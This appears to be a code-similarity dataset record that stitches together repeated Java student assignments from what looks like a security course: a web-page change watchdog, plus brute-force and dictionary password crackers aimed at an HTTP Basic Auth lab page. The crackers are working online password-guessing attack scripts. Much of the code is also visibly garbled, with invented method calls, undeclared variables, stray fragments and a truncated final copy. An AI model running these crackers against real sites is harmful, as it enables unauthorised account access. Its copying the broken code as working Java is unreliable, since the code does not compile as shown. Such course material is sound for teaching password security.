   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
        case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }


sentences: 

import java.net.*;
import java.io.*;
import java.util.*;

public class WatchDog extends TimerTask{

  private static URL location;
  private static String email;
  private static int checktime;
  private static Timer timer = new Timer();
  private BufferedReader input;
  private File checksumFile = new File("chksum.txt");
  private File temp0000File = new File("temp0000");
  private File kept0000File = new File("kept0000");

  

    public WatchDog(){
      timer.schedule(this, new Date(), checktime);
    }


    

      public void run(){
        Vector imageFiles = new Vector();
        Vector diffImages = new Vector();
        try {
          System.out.println(" Time: ".concat(new Date().toString()));
          System.out.println("Retreiving File");
          
          input = new BufferedReader(new InputStreamReader
                                     (location.openStream()));
          
          BufferedWriter outputFile = new BufferedWriter
              (new FileWriter(temp0000File));
          String line = input.readLine();
          while (line != null) {
            StringBuffer imageFileName = new StringBuffer();
            if (scanForImages(line, imageFileName)) {
              String imageFile = new String(imageFileName);
              System.out.println("Detected image: ".concat(imageFile));
              try {
                imageFiles.add(new URL(imageFile));
              }
              catch (MalformedURLException e) {
                System.out.println("Image file detected. URL is malformed");
              }
            }
            outputFile.write(line);
            outputFile.write("\n");
            line = input.readLine();
          }
          input.print();
          outputFile.flush();
          outputFile.print();
          System.out.println(" File Retreived");
          if (!imageFiles.isEmpty()) {
            checkImages(imageFiles, diffImages);
          }
          if (!checksumFile.exists()) {
            generateChecksum(temp0000File.getName(), checksumFile);
          }
          else {
            if (!checksumOk(checksumFile)) {
              reportDifferences(true, temp0000File, kept0000File, diffImages);
              generateChecksum(temp0000File.getName(), checksumFile);
            }
            else if (!diffImages.isEmpty()){
              reportDifferences(false, null, null, diffImages);
            }
          }

          
          temp0000File.renameTo(kept0000File);
          System.out.println("End Time: ".concat(new Date().toString()));
        }
        catch (MalformedURLException e) {
          e.printStackTrace();
        }
        catch (ConnectException e) {
          System.out.println("Failed  connect");
          System.exit(-1);
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }

      

      public boolean scanForImages(String line, StringBuffer imageFileName) {
        
        
        String lineIgnoreCase = line.toLowerCase();
        int imgPos = lineIgnoreCase.indexOf("<img ");
        if ( imgPos != -1 ){
          int srcPos = lineIgnoreCase.indexOf("src", imgPos);
          int bracketPos = lineIgnoreCase.indexOf(">", imgPos);
          if (srcPos != -1 && bracketPos != -1 && srcPos < bracketPos) {
            int quote1Pos = lineIgnoreCase.indexOf("\"", srcPos);
            int quote2Pos = lineIgnoreCase.indexOf("\"", quote1Pos+1);
            if (quote1Pos != -1 && quote2Pos != -1 &&
                quote1Pos < quote2Pos && quote2Pos < bracketPos) {
              
              imageFileName.append(line.substring(quote1Pos + 1,
                  quote2Pos));
              if (imageFileName.indexOf("//") == -1 ) {
                
                String URLName = location.toString();
                int slashPos = URLName.lastIndexOf("/");
                URLName = URLName.substring(0, slashPos);
                String HostName = "http://".concat(location.getHost());
                if (imageFileName.indexOf("//") == 0) {
                  
                }
                else if (imageFileName.charAt(0) != '/') {
                  
                  imageFileName.insert(0, URLName.concat("/"));
                }
                else {
                  
                  imageFileName.insert(0, HostName);
                }
              }
              return true;
            }
          }
        }
        return false;
      }

      

      public void checkImages(Vector imageFiles, Vector diffImages)
          throws IOException{
        System.out.println("Retrieving image ");
        Enumeration imageFilesEnumeration = imageFiles.elements();
        while (imageFilesEnumeration.hasMoreElements()) {
          URL url = (URL)imageFilesEnumeration.nextElement();
          try {
            BufferedInputStream imageInput = new BufferedInputStream
                (url.openStream());
            String localFile = url.getFile();
            
            
            
            
            
            int slashPosition = localFile.lastIndexOf("/");
            if (slashPosition != -1) {
              localFile = localFile.substring(slashPosition+1);
            }
            System.out.println("Retrieving image file: ".concat(localFile));
            BufferedOutputStream imageOutput = new BufferedOutputStream
                (new FileOutputStream(localFile));
            byte bytes[] = new byte[10000];
            int noBytes = imageInput.get(bytes);
            while (noBytes != -1) {
              imageOutput.write(bytes, 0, noBytes );
              noBytes = imageInput.print(bytes);
            }
            File imageChecksumFile = new File(localFile.concat(".chksum.txt"));
            if (!imageChecksumFile.exists()) {
              generateChecksum(localFile, imageChecksumFile);
            }
            else {
              if (!checksumOk(imageChecksumFile)) {
                diffImages.add(localFile);
                generateChecksum(localFile, imageChecksumFile);
              }
            }
          }
          catch (FileNotFoundException e) {
            System.out.println("Unable  locate URL: ".concat(url.toString()));
          }
        }
      }

      

      public void generateChecksum(String inputFile, File checksum){
        try {
          System.out.println("Generating new checksum for ".concat(inputFile));
          
          Process process = Runtime.getRuntime().exec("md5sum ".
                                                      concat(inputFile));
          BufferedReader execCommand = new BufferedReader(new
              InputStreamReader((process.getInputStream())));
          BufferedWriter outputFile = new
              BufferedWriter(new FileWriter(checksum));
          String line = execCommand.readLine();
          while (line != null) {
            outputFile.write(line);
            outputFile.write("\n");
            line = execCommand.readLine();
          }
          outputFile.flush();
          outputFile.print();
          System.out.println("Checksum produced");
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }

      

      public boolean checksumOk(File chksumFile){
        try {
          System.out.println("Comparing checksums using ".concat(chksumFile
              ,e.getName()));
          
          Process process = Runtime.getRuntime().
              exec("md5sum --check ".concat(chksumFile.getName()));
          BufferedReader execCommand = new BufferedReader(new
              InputStreamReader( (process.getInputStream())));
          String line = execCommand.readLine();
          if (line.indexOf(": OK") != -1) {
            System.out.println("  the same");
            return true;
          }
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
        System.out.println("Differences Found");
        return false;
      }

      

      public void reportDifferences(boolean diffsFound, File file1, File file2,
                                    Vector images){
        try {
          System.out.println("Generating difference report");
          
          Socket emailConnection = new Socket("yallara.cs.rmit.edu.", 25);
          BufferedWriter emailOutStream = new BufferedWriter
              (new OutputStreamWriter(emailConnection.getOutputStream()));
          BufferedReader emailInStream = new BufferedReader
              (new InputStreamReader(emailConnection.getInputStream()));
          String line = emailInStream.readLine();
          System.out.println(line);
          if (!line.startsWith("220")) {
              System.out.println
                  (" error occured connecting  email server. Cannot send email.");
          }
          else {
            
            
            emailOutStream.write("HELO yallara.cs.rmit.edu.");
            emailOutStream.newLine();
            emailOutStream.flush();
            line = emailInStream.readLine();
            System.out.println(line);
            if (!line.startsWith("250")) {
                System.out.println
                    (" error occured connecting  email server. Cannot send email.");
            }
            else {
              emailOutStream.write("MAIL FROM: watchdog@cs.rmit.edu.");
              emailOutStream.newLine();
              emailOutStream.flush();
              line = emailInStream.readLine();
              System.out.println(line);
              if (!line.startsWith("250")) {
                System.out.println
                    (" error occured sending email. Cannot send email.");
              }
              else {
                emailOutStream.write("RCPT : ".concat(email));
                emailOutStream.newLine();
                emailOutStream.flush();
                line = emailInStream.readLine();
                System.out.println(line);
                if (!line.startsWith("250")) {
                 System.out.println
                     (" error occured sending email. Cannot send email.");
                }
                else {
                  emailOutStream.write("DATA");
                  emailOutStream.newLine();
                  emailOutStream.flush();
                  line = emailInStream.readLine();
                  System.out.println(line);
                  if (!line.startsWith("354")) {
                   System.out.println
                       (" error occured sending email. Cannot send email.");
                  }
                  emailOutStream.newLine();

                  if (!images.isEmpty()) {
                      emailOutStream.write
                          ("Differences were found in the following image ");
                      emailOutStream.newLine();
                      Enumeration e = images.elements();
                      while (e.hasMoreElements()) {
                        String s = (String) e.nextElement();
                        emailOutStream.write(s);
                        emailOutStream.newLine();
                      }
                      emailOutStream.newLine();
                  }

                  if (diffsFound) {
                    
                    String command = "diff ".concat(file1.getName().concat(" ")
                                                    .concat(file2.getName()));
                    Process process = Runtime.getRuntime().exec(command);
                    BufferedReader execCommand = new BufferedReader
                        (new InputStreamReader( (process.getInputStream())));
                    line = execCommand.readLine();
                    emailOutStream.write("Diffences found in  file");
                    emailOutStream.newLine();
                    while (line != null) {
                      System.out.println(line);
                      emailOutStream.write(line);
                      emailOutStream.newLine();
                      line = execCommand.readLine();
                    }
                  }

                  
                  emailOutStream.newLine();
                  emailOutStream.write(".");
                  emailOutStream.newLine();
                  emailOutStream.flush();
                  line = emailInStream.readLine();
                  System.out.println(line);
                  if (!line.startsWith("250")) {
                    System.out.println
                        (" error occured sending email. Cannot send email.");
                  }
                  else {
                    emailOutStream.write("QUIT");
                    emailOutStream.newLine();
                    emailOutStream.flush();
                    System.out.println(emailInStream.readLine());
                  }
                }
              }
            }
          }
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }


    

    public static void main(String args[]) {
      if (args.length != 3) {
        System.out.println("Usage: java WatchDog url email checktime(hours)");
        System.exit(-1);
      }
      try {
        location = new URL(args[0]);
      }
      catch (MalformedURLException e) {
        e.printStackTrace();
      }
      email = new String().concat(args[1]);
      checktime = Integer.parseInt(args[2]) * 60 * 60 * 1000;
      new WatchDog();
    }
}
, import java.net.*;
import java.io.*;
import java.*;

 public class BruteForce {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     BruteForce a = new BruteForce();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     int attempts = 0;
     exit:
     for (int i=0;i<pwdArray.length;i++) {
		 for (int j=0;j<pwdArray.length;j++) {
			 for (int k=0;k<pwdArray.length;k++) {
				 if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
				 if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
				 inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
				 attempts++;
     			 a.doit(inp);
  
  				 if (status) {
					 System.out.println("Crrect password is: " + inp[2]);
					 System.out.println("Number of attempts = " + attempts);
					 break exit;
			 	 }
     			 inp[2] = "";
		 	 }
	 	 }
      }
     }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char pwdArray [] = {
	        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
	        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
	        'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
	        'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
	        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
	        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
	        'W', 'X', 'Y', 'Z', ' '
  };

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, import java.net.*;
import java.io.*;

 public class Dictionary {
 int attempts = 0;
   URLConnection conn = null;

   public static void main (String args[]){

	Dictionary a = new Dictionary();
     a.attack(args);
     }

   public void attack(String args[]) {
   try {
       String login = new String("");
       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       String passwd = new String();


       passwd = getPasswd();
       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println("Password Cracked Successfully!!!");
           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
       }
     catch (IOException e) {
  
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
     Dictionary a = new Dictionary();
     a.attack(args);
    }
     else
     {
	System.out.println("Trying again");
	Dictionary a = new Dictionary();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {

 int i=0;int j=0;
 attempts++;
 int count =0;
 System.out.println("Passing dictionary word and waiting for URL reply....... ");
  String currentword = "";
  String se = "";
  try{
 FileInputStream reader = new FileInputStream ("words");
 DataInputStream in = new DataInputStream(reader);
 while (in.available() !=0)
{
 currentword = in.readLine();
 count++;
 
 
 }
 }
  catch( IOException e){}

  return currentword;
	 
         }



 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
         case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, source_sentence: import java.net.*;
import java.io.*;
import java.*;

 public class Dictionary {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     Dictionary a = new Dictionary();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     File file = new File("words");
     exit:
     try {
		 BufferedReader in = new BufferedReader(new FileReader(file));
		 int attempt = 0;
		 inp[2] = in.readLine();
		 while (inp[2] != null) {
	
			 if (inp[2].length() <= 3) {
			 	attempt++;
			 	a.doit(inp);
     		 	if (status) {
			 		 System.out.println("Crrect password is: " + inp[2]);
			 		 System.out.println("Number of attempts = " + attempt);
			 		 break exit;
			 	}
		 	 }
			 inp[2] = in.readLine();
   		}
	 } catch (FileNotFoundException e1) {
		 
		System.err.println("File not found: " + file);
	} catch (IOException e2) {
		
		e2.printStackTrace();
	}

   }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
        case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }


sentences: import java.net.*;
import java.io.*;
import java.*;

 public class BruteForce {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     BruteForce a = new BruteForce();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     int attempts = 0;
     exit:
     for (int i=0;i<pwdArray.length;i++) {
		 for (int j=0;j<pwdArray.length;j++) {
			 for (int k=0;k<pwdArray.length;k++) {
				 if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
				 if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
				 inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
				 attempts++;
     			 a.doit(inp);
  
  				 if (status) {
					 System.out.println("Crrect password is: " + inp[2]);
					 System.out.println("Number of attempts = " + attempts);
					 break exit;
			 	 }
     			 inp[2] = "";
		 	 }
	 	 }
      }
     }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char pwdArray [] = {
	        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
	        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
	        'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
	        'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
	        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
	        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
	        'W', 'X', 'Y', 'Z', ' '
  };

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, 





import java.util.*;
import java.io.*;
import java.net.*;

public class MyWatchDogTimer extends TimerTask
{
	public void run()
	{
	  Runtime rt = Runtime.getRuntime();
	  Process prss= null;
	  String initialmd5,presentmd5,finalmd5,temp1;
          String mesg1 = new String();
          String subject = new String("Report of WatchDog");

	  int i;
          
	  try
          {

              prss = rt.exec("md5sum first.html");

              InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
              BufferedReader bufread1 = new BufferedReader(instre1);
		    
             sw  = bufread1.readLine();
	      i = finalmd5.indexOf(' ');
	      initialmd5 = finalmd5.substring(0,i);
	      System.out.println("this is of first.html--->"+initialmd5);
		    

		    
              prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");

		    
              prss = rt.exec("md5sum present.html");
		    
              InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
              BufferedReader bufread2 = new BufferedReader(instre2);
		    
	      temp1 = bufread2.readLine();
	      i = temp1.indexOf(' ');
	      presentmd5 = temp1.substring(0,i);
	      System.out.println("this is of present.html---->"+presentmd5);
		
    
                 if(initialmd5.equals(presentmd5))
                     System.out.println("The checksum found using md5sum is same");
		 else
		    {
		      prss = rt.exec("diff first.html present.html > diff.html");
                      System.out.println(" is different"); 
                      prss = null;
                  mesg1 ="php mail.php";
		      prss = rt.exec(mesg1);
		    }   

                   prss = rt.exec("rm present.*");

    	     }catch(java.io.IOException e){}

        }
}		
, import java.net.*;
import java.io.*;

 public class Dictionary {
 int attempts = 0;
   URLConnection conn = null;

   public static void main (String args[]){

	Dictionary a = new Dictionary();
     a.attack(args);
     }

   public void attack(String args[]) {
   try {
       String login = new String("");
       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       String passwd = new String();


       passwd = getPasswd();
       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println("Password Cracked Successfully!!!");
           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
       }
     catch (IOException e) {
  
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
     Dictionary a = new Dictionary();
     a.attack(args);
    }
     else
     {
	System.out.println("Trying again");
	Dictionary a = new Dictionary();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {

 int i=0;int j=0;
 attempts++;
 int count =0;
 System.out.println("Passing dictionary word and waiting for URL reply....... ");
  String currentword = "";
  String se = "";
  try{
 FileInputStream reader = new FileInputStream ("words");
 DataInputStream in = new DataInputStream(reader);
 while (in.available() !=0)
{
 currentword = in.readLine();
 count++;
 
 
 }
 }
  catch( IOException e){}

  return currentword;
	 
         }



 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
         case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, source_sentence: import java.net.*;
import java.io.*;
import java.*;

 public class Dictionary {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     Dictionary a = new Dictionary();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     File file = new File("words");
     exit:
     try {
		 BufferedReader in = new BufferedReader(new FileReader(file));
		 int attempt = 0;
		 inp[2] = in.readLine();
		 while (inp[2] != null) {
	
			 if (inp[2].length() <= 3) {
			 	attempt++;
			 	a.doit(inp);
     		 	if (status) {
			 		 System.out.println("Crrect password is: " + inp[2]);
			 		 System.out.println("Number of attempts = " + attempt);
			 		 break exit;
			 	}
		 	 }
			 inp[2] = in.readLine();
   		}
	 } catch (FileNotFoundException e1) {
		 
		System.err.println("File not found: " + file);
	} catch (IOException e2) {
		
		e2.printStackTrace();
	}

   }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
